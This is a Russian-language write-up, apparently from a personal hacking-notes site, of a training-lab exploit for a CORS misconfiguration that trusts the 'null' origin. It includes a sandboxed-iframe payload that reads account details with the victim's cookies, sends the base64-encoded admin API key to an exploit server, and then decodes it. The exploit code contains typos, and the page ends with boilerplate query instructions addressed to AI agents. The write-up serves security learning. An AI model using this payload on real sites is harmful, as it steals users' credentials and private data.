> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/cors/cors-null-origin-trusted.md).

# Доверие к Null Origin в CORS

### Уязвимость CORS с доверенным нулевым origin

Эксплуатируйте уязвимую конфигурацию CORS, которая доверяет исходному `"null"`. Цель лабораторной работы — получить API-ключ администратора через CORS-запрос (с `учётными данными`) и загрузить код на сервер эксплойта. Лабораторная работа считается решённой, когда API-ключ администратора успешно отправлен.

* Сервер возвращает `Access-Control-Allow-Credentials: true`.

<figure><img src="/files/6a019962fe643faf213b6079ae70cd5748c9a869" alt=""><figcaption></figcaption></figure>

Когда `Origin: jord4n.pro` заголовок отправляется, домен не отражается.

<figure><img src="/files/a19915b785d018d12ae2bd26625fed5971202120" alt=""><figcaption></figcaption></figure>

Однако при отправке `Origin: null`, ответ принимает и отражает это значение.

<figure><img src="/files/28c5ff54b8a424bc8cdc7ce25dcb866468f57c0e" alt=""><figcaption></figcaption></figure>

Принудите запрос со страницы с `null` origin (например, через `iframe` используя `srcdoc`), чтобы ответ CORS считал происхождение доверенным и возвращал данные (с cookies с помощью `withCredentials`).

```javascript
<iframe sandbox="allow-scripts" srcdoc="<<script>
    varrreq = new XMLHttpRequest();
    req.onload = function() {
    location = "https://exploit-0a3a00ab047b89dd8023021101ef0012.exploit-server.net/?apikey=" + btoa(req.responseText);
    );
    req.open("GET", "https://0a280071045626f880090316003b0053.web-security-academy.net/accountDetails", true);
    req.withCredentials = true;
    req.send();
</script>"></iframe>
```

<figure><img src="/files/7c08d353f8d804423f433cb711e7f6509124d185" alt=""><figcaption></figcaption></figure>

> Примечание: принцип состоит в том, чтобы выполнить этот код из `null` origin (iframe `srcdoc`) так, чтобы ответ CORS, который принимает `null`, возвращал конфиденциальные данные, включая cookies.

Полученный ключ, декодированный из Base64:

```bash
echo "NkhBVGdaVWdUb0t2QU5PbXNzanRyY1pDRlpUQUVFYjk=" | base64 -d; echo
6HATgZUgToKvANOmssjtrcZCFZTAEEb9
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/cors/cors-null-origin-trusted.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
